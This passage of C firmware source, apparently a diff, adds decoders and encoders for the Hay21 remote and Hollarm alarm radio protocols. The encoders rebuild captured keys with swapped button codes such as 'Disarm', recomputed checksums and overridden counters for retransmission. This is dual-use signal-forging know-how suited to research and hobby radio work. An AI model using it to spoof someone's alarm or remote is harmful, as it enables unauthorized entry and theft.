SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_hay21_decoder,
.encoder = &subghz_protocol_hay21_encoder,
};
void* subghz_protocol_encoder_hay21_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderHay21* instance = malloc(sizeof(SubGhzProtocolEncoderHay21));
instance->base.protocol = &subghz_protocol_hay21;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 64;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_hay21_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderHay21* instance = context;
free(instance->encoder.upload);
free(instance);
}
// Get custom button code
static uint8_t subghz_protocol_hay21_get_btn_code(void) {
uint8_t custom_btn_id = subghz_custom_btn_get();
uint8_t original_btn_code = subghz_custom_btn_get_original();
uint8_t btn = original_btn_code;
// Set custom button
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
// Restore original button code
btn = original_btn_code;
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
switch(original_btn_code) {
case 0x5A:
btn = 0xC3;
break;
case 0xC3:
btn = 0x5A;
break;
case 0x88:
btn = 0x5A;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
switch(original_btn_code) {
case 0x5A:
btn = 0x88;
break;
case 0xC3:
btn = 0x88;
break;
case 0x88:
btn = 0xC3;
break;
default:
break;
}
}
return btn;
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderHay21 instance
*/
static void subghz_protocol_encoder_hay21_get_upload(SubGhzProtocolEncoderHay21* instance) {
furi_assert(instance);
// Generate new key using custom or default button
instance->generic.btn = subghz_protocol_hay21_get_btn_code();
// override button if we change it with signal settings button editor
if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
// Counter increment
// Check for OFEX (overflow experimental) mode
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
// standart counter mode. PULL data from subghz_block_generic_global variables
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xF) {
instance->generic.cnt = 0;
} else {
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
}
}
} else {
// OFEX mode
if((instance->generic.cnt + 0x1) > 0xF) {
instance->generic.cnt = 0;
} else if(instance->generic.cnt >= 0x1 && instance->generic.cnt != 0xE) {
instance->generic.cnt = 0xE;
} else {
instance->generic.cnt++;
}
}
// Reconstruction of the data
instance->generic.data =
((uint64_t)instance->generic.btn << 13 | (uint64_t)instance->generic.serial << 5 |
instance->generic.cnt << 1) |
0b1;
size_t index = 0;
// Send key and GAP between parcels
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
// Send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_hay21_const.te_long);
if(i == 1) {
//Send gap if bit was last
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_long * 6);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_short);
}
} else {
// Send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_hay21_const.te_short);
if(i == 1) {
//Send gap if bit was last
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_long * 6);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_hay21_const.te_long);
}
}
}
instance->encoder.size_upload = index;
return;
}
/**
* Analysis of received data and parsing serial number
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_hay21_remote_controller(SubGhzBlockGeneric* instance) {
instance->btn = (instance->data >> 13) & 0xFF;
instance->serial = (instance->data >> 5) & 0xFF;
instance->cnt = (instance->data >> 1) & 0xF;
// Save original button for later use
if(subghz_custom_btn_get_original() == 0) {
// Hay21 Decoder
// 09.2024 - @xMasterX (MMX)
// Key samples (inverted)
// button serial CNT (goes lower since 0/1 are inverted)
//14A84A = 000 10100101 01000010 0101 0 (cnt 5)
//14A848 = 000 10100101 01000010 0100 0 (cnt 4)
//14A846 = 000 10100101 01000010 0011 0 (cnt 3)
//14A844 = 000 10100101 01000010 0010 0 (cnt 2)
//14A842 = 000 10100101 01000010 0001 0 (cnt 1)
//14A840 = 000 10100101 01000010 0000 0 (cnt 0)
//14A85E = 000 10100101 01000010 1111 0 (cnt F)
//14A85C = 000 10100101 01000010 1110 0 (cnt E)
//14A85A = 000 10100101 01000010 1101 0 (cnt D)
//14A858 = 000 10100101 01000010 1100 0 (cnt C)
//14A856 = 000 10100101 01000010 1011 0 (cnt B)
// 0xA5 (Labeled as On/Off on the remote board)
// 0x3C (Labeled as Mode on the remote board)
// 0x42 (Serial)
// BTN Serial CNT
//078854 = 000 00111100 01000010 1010 0 (cnt A)
//078852 = 000 00111100 01000010 1001 0 (cnt 9)
//078850 = 000 00111100 01000010 1000 0 (cnt 8)
//07884E = 000 00111100 01000010 0111 0 (cnt 7)
// Inverted back
//1877B9 = 000 11000011 10111101 1100 1
//1877BB = 000 11000011 10111101 1101 1
//1877BD = 000 11000011 10111101 1110 1
//0B57BF = 000 01011010 10111101 1111 1
}
SubGhzProtocolStatus
subghz_protocol_encoder_hay21_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderHay21* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_hay21_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
subghz_protocol_hay21_remote_controller(&instance->generic);
subghz_protocol_encoder_hay21_get_upload(instance);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to add Key");
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_hay21_stop(void* context) {
SubGhzProtocolEncoderHay21* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_hay21_yield(void* context) {
SubGhzProtocolEncoderHay21* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_hay21_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderHay21* instance = malloc(sizeof(SubGhzProtocolDecoderHay21));
instance->base.protocol = &subghz_protocol_hay21;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_hay21_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderHay21* instance = context;
free(instance);
}
void subghz_protocol_decoder_hay21_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderHay21* instance = context;
instance->decoder.parser_step = Hay21DecoderStepReset;
}
void subghz_protocol_decoder_hay21_feed(void* context, bool level, volatile uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderHay21* instance = context;
switch(instance->decoder.parser_step) {
case Hay21DecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_hay21_const.te_long * 6) <
subghz_protocol_hay21_const.te_delta * 3)) {
//Found GAP
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = Hay21DecoderStepSaveDuration;
}
break;
case Hay21DecoderStepSaveDuration:
if(level) {
instance->decoder.te_last = duration;
instance->decoder.parser_step = Hay21DecoderStepCheckDuration;
} else {
instance->decoder.parser_step = Hay21DecoderStepReset;
}
break;
case Hay21DecoderStepCheckDuration:
if(!level) {
// Bit 1 is long + short timing
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_long) <
subghz_protocol_hay21_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_hay21_const.te_short) <
subghz_protocol_hay21_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = Hay21DecoderStepSaveDuration;
// Bit 0 is short + long timing
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_short) <
subghz_protocol_hay21_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_hay21_const.te_long) <
subghz_protocol_hay21_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = Hay21DecoderStepSaveDuration;
} else if(
// End of the key
DURATION_DIFF(duration, subghz_protocol_hay21_const.te_long * 6) <
subghz_protocol_hay21_const.te_delta * 2) {
//Found next GAP and add bit 0 or 1
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_long) <
subghz_protocol_hay21_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
}
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hay21_const.te_short) <
subghz_protocol_hay21_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
}
// If got 21 bits key reading is finished
if(instance->decoder.decode_count_bit ==
subghz_protocol_hay21_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = Hay21DecoderStepReset;
} else {
instance->decoder.parser_step = Hay21DecoderStepReset;
}
} else {
instance->decoder.parser_step = Hay21DecoderStepReset;
}
break;
}
}
/**
* Get button name.
* @param btn Button number, 4 bit
*/
static const char* subghz_protocol_hay21_get_button_name(uint8_t btn) {
const char* btn_name;
switch(btn) {
case 0x5A:
btn_name = "On/Off";
break;
case 0xC3:
btn_name = "Mode";
break;
case 0x88:
btn_name = "Hold";
break;
default:
btn_name = "Unknown";
break;
}
return btn_name;
}
uint8_t subghz_protocol_decoder_hay21_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderHay21* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_hay21_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderHay21* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_hay21_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderHay21* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_hay21_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_hay21_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderHay21* instance = context;
// Parse serial, button, counter
subghz_protocol_hay21_remote_controller(&instance->generic);
// push protocol data to global variable
subghz_block_generic_global.cnt_is_available = true;
subghz_block_generic_global.cnt_length_bit = 8;
subghz_block_generic_global.current_cnt = instance->generic.cnt;
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 8;
//
furi_string_cat_printf(
output,
"%s - %dbit\r\n"
"Key:0x%06lX\r\n"
"Serial:0x%02X\r\n"
"Btn:0x%01X - %s\r\n"
"Cnt:%01X\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
(uint8_t)(instance->generic.serial & 0xFF),
instance->generic.btn,
subghz_protocol_hay21_get_button_name(instance->generic.btn),
(uint8_t)(instance->generic.cnt & 0xF));
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_HAY21_NAME "Hay21"
typedef struct SubGhzProtocolDecoderHay21 SubGhzProtocolDecoderHay21;
typedef struct SubGhzProtocolEncoderHay21 SubGhzProtocolEncoderHay21;
extern const SubGhzProtocolDecoder subghz_protocol_hay21_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_hay21_encoder;
extern const SubGhzProtocol subghz_protocol_hay21;
/**
* Allocate SubGhzProtocolEncoderHay21.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderHay21* pointer to a SubGhzProtocolEncoderHay21 instance
*/
void* subghz_protocol_encoder_hay21_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderHay21.
* @param context Pointer to a SubGhzProtocolEncoderHay21 instance
*/
void subghz_protocol_encoder_hay21_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderHay21 instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_hay21_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderHay21 instance
*/
void subghz_protocol_encoder_hay21_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderHay21 instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_hay21_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderHay21.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderHay21* pointer to a SubGhzProtocolDecoderHay21 instance
*/
void* subghz_protocol_decoder_hay21_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderHay21.
* @param context Pointer to a SubGhzProtocolDecoderHay21 instance
*/
void subghz_protocol_decoder_hay21_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderHay21.
* @param context Pointer to a SubGhzProtocolDecoderHay21 instance
*/
void subghz_protocol_decoder_hay21_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderHay21 instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_hay21_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderHay21 instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_hay21_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderHay21.
* @param context Pointer to a SubGhzProtocolDecoderHay21 instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_hay21_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderHay21.
* @param context Pointer to a SubGhzProtocolDecoderHay21 instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_hay21_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderHay21 instance
* @param output Resulting text
*/
void subghz_protocol_decoder_hay21_get_string(void* context, FuriString* output);
@@ -0,0 +1,495 @@
#include "hollarm.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/blocks/custom_btn_i.h>
#define TAG "SubGhzProtocolHollarm"
static const SubGhzBlockConst subghz_protocol_hollarm_const = {
.te_short = 200,
.te_long = 1000,
.te_delta = 200,
.min_count_bit_for_found = 42,
};
struct SubGhzProtocolDecoderHollarm {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderHollarm {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
HollarmDecoderStepReset = 0,
HollarmDecoderStepSaveDuration,
HollarmDecoderStepCheckDuration,
} HollarmDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_hollarm_decoder = {
.alloc = subghz_protocol_decoder_hollarm_alloc,
.free = subghz_protocol_decoder_hollarm_free,
.feed = subghz_protocol_decoder_hollarm_feed,
.reset = subghz_protocol_decoder_hollarm_reset,
.get_hash_data = subghz_protocol_decoder_hollarm_get_hash_data,
.serialize = subghz_protocol_decoder_hollarm_serialize,
.deserialize = subghz_protocol_decoder_hollarm_deserialize,
.get_string = subghz_protocol_decoder_hollarm_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_hollarm_encoder = {
.alloc = subghz_protocol_encoder_hollarm_alloc,
.free = subghz_protocol_encoder_hollarm_free,
.deserialize = subghz_protocol_encoder_hollarm_deserialize,
.stop = subghz_protocol_encoder_hollarm_stop,
.yield = subghz_protocol_encoder_hollarm_yield,
};
const SubGhzProtocol subghz_protocol_hollarm = {
.name = SUBGHZ_PROTOCOL_HOLLARM_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
SubGhzProtocolFlag_Alarms,
.decoder = &subghz_protocol_hollarm_decoder,
.encoder = &subghz_protocol_hollarm_encoder,
};
void* subghz_protocol_encoder_hollarm_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderHollarm* instance = malloc(sizeof(SubGhzProtocolEncoderHollarm));
instance->base.protocol = &subghz_protocol_hollarm;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 128;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_hollarm_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderHollarm* instance = context;
free(instance->encoder.upload);
free(instance);
}
// Get custom button code
static uint8_t subghz_protocol_hollarm_get_btn_code(void) {
uint8_t custom_btn_id = subghz_custom_btn_get();
uint8_t original_btn_code = subghz_custom_btn_get_original();
uint8_t btn = original_btn_code;
// Set custom button
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
// Restore original button code
btn = original_btn_code;
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
switch(original_btn_code) {
case 0x1:
btn = 0x2;
break;
case 0x2:
btn = 0x1;
break;
case 0x4:
btn = 0x1;
break;
case 0x8:
btn = 0x1;
break;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
switch(original_btn_code) {
case 0x1:
btn = 0x4;
break;
case 0x2:
btn = 0x4;
break;
case 0x4:
btn = 0x2;
break;
case 0x8:
btn = 0x4;
default:
break;
}
} else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
switch(original_btn_code) {
case 0x1:
btn = 0x8;
break;
case 0x2:
btn = 0x8;
break;
case 0x4:
btn = 0x8;
break;
case 0x8:
btn = 0x2;
break;
default:
break;
}
}
return btn;
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderHollarm instance
*/
static void subghz_protocol_encoder_hollarm_get_upload(SubGhzProtocolEncoderHollarm* instance) {
furi_assert(instance);
// Generate new key using custom or default button
instance->generic.btn = subghz_protocol_hollarm_get_btn_code();
// override button if we change it with signal settings button editor
if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
uint64_t new_key = (instance->generic.data >> 12) << 12 | (instance->generic.btn << 8);
uint8_t bytesum = ((new_key >> 32) & 0xFF) + ((new_key >> 24) & 0xFF) +
((new_key >> 16) & 0xFF) + ((new_key >> 8) & 0xFF);
instance->generic.data = (new_key | bytesum);
size_t index = 0;
// Send key and GAP between parcels
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
// Read and prepare levels with 2 bit (was saved for better parsing) to the left offset to fit with the original remote transmission
if(bit_read((instance->generic.data << 2), i - 1)) {
// Send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_hollarm_const.te_short);
if(i == 1) {
//Send gap if bit was last
instance->encoder.upload[index++] = level_duration_make(
false, (uint32_t)subghz_protocol_hollarm_const.te_short * 12);
} else {
instance->encoder.upload[index++] = level_duration_make(
false, (uint32_t)subghz_protocol_hollarm_const.te_short * 8);
}
} else {
// Send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_hollarm_const.te_short);
if(i == 1) {
//Send gap if bit was last
instance->encoder.upload[index++] = level_duration_make(
false, (uint32_t)subghz_protocol_hollarm_const.te_short * 12);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_hollarm_const.te_long);
}
}
}
instance->encoder.size_upload = index;
return;
}
/**
* Analysis of received data and parsing serial number
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_hollarm_remote_controller(SubGhzBlockGeneric* instance) {
instance->btn = (instance->data >> 8) & 0xF;
instance->serial = (instance->data & 0xFFFFFFF0000) >> 16;
// Save original button for later use
if(subghz_custom_btn_get_original() == 0) {
// subghz_custom_btn_set_original(instance->btn);
}
// subghz_custom_btn_set_max(3);
// Hollarm Decoder
// 09.2024 - @xMasterX (MMX)
// Thanks @Skorpionm for support!
// F0B93422FF = FF 8bit Sum
// F0B93421FE = FE 8bit Sum
// F0B9342401 = 01 8bit Sum
// F0B9342805 = 05 8bit Sum
// Serial (moved 2bit to right) | Btn | 8b previous 4 bytes sum
// 00001111000010111001001101000010 0010 11111111 btn = (0x2)
// 00001111000010111001001101000010 0001 11111110 btn = (0x1)
// 00001111000010111001001101000010 0100 00000001 btn = (0x4)
// 00001111000010111001001101000010 1000 00000101 btn = (0x8)
}
SubGhzProtocolStatus
subghz_protocol_encoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderHollarm* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_hollarm_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
subghz_protocol_hollarm_remote_controller(&instance->generic);
subghz_protocol_encoder_hollarm_get_upload(instance);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to add Key");
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_hollarm_stop(void* context) {
SubGhzProtocolEncoderHollarm* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_hollarm_yield(void* context) {
SubGhzProtocolEncoderHollarm* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_hollarm_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderHollarm* instance = malloc(sizeof(SubGhzProtocolDecoderHollarm));
instance->base.protocol = &subghz_protocol_hollarm;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_hollarm_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderHollarm* instance = context;
free(instance);
}
void subghz_protocol_decoder_hollarm_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderHollarm* instance = context;
instance->decoder.parser_step = HollarmDecoderStepReset;
}
void subghz_protocol_decoder_hollarm_feed(void* context, bool level, volatile uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderHollarm* instance = context;
switch(instance->decoder.parser_step) {
case HollarmDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_short * 12) <
subghz_protocol_hollarm_const.te_delta * 2)) {
//Found GAP between parcels
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = HollarmDecoderStepSaveDuration;
}
break;
case HollarmDecoderStepSaveDuration:
// Save HIGH level timing for next step
if(level) {
instance->decoder.te_last = duration;
instance->decoder.parser_step = HollarmDecoderStepCheckDuration;
} else {
instance->decoder.parser_step = HollarmDecoderStepReset;
}
break;
case HollarmDecoderStepCheckDuration:
if(!level) {
// Bit 0 is short 200us HIGH + long 1000us LOW timing
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hollarm_const.te_short) <
subghz_protocol_hollarm_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_long) <
subghz_protocol_hollarm_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = HollarmDecoderStepSaveDuration;
// Bit 1 is short 200us HIGH + short x8 = 1600us LOW timing
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hollarm_const.te_short) <
subghz_protocol_hollarm_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_short * 8) <
subghz_protocol_hollarm_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = HollarmDecoderStepSaveDuration;
} else if(
// End of the key
DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_short * 12) <
subghz_protocol_hollarm_const.te_delta) {
// When next GAP is found add bit 0 and do check for read finish
// (we have 42 high level pulses, last or first one may be a stop/start bit but we will parse it as zero)
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
// If got 42 bits key reading is finished
if(instance->decoder.decode_count_bit ==
subghz_protocol_hollarm_const.min_count_bit_for_found) {
// Saving with 2bit to the right offset for proper parsing
instance->generic.data = (instance->decoder.decode_data >> 2);
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
uint8_t bytesum = ((instance->generic.data >> 32) & 0xFF) +
((instance->generic.data >> 24) & 0xFF) +
((instance->generic.data >> 16) & 0xFF) +
((instance->generic.data >> 8) & 0xFF);
if(bytesum != (instance->generic.data & 0xFF)) {
// Check if the key is valid by verifying the sum
instance->generic.data = 0;
instance->generic.data_count_bit = 0;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = HollarmDecoderStepReset;
break;
}
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = HollarmDecoderStepReset;
} else {
instance->decoder.parser_step = HollarmDecoderStepReset;
}
} else {
instance->decoder.parser_step = HollarmDecoderStepReset;
}
break;
}
}
/**
* Get button name.
* @param btn Button number, 4 bit
*/
static const char* subghz_protocol_hollarm_get_button_name(uint8_t btn) {
const char* name_btn[16] = {
"Unknown",
"Disarm", // B (2)
"Arm", // A (1)
"0x3",
"Ringtone/Alarm", // C (3)
"0x5",
"0x6",
"0x7",
"Ring", // D (4)
"Settings mode",
"Exit settings",
"Vibro sens. setting",
"Not used\n(in settings)",
"Volume setting",
"0xE",
"0xF"};
return btn <= 0xf ? name_btn[btn] : name_btn[0];
}
uint8_t subghz_protocol_decoder_hollarm_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderHollarm* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_hollarm_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderHollarm* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderHollarm* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_hollarm_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_hollarm_get_string(void* context, FuriString* output) {
furi_assert(context);
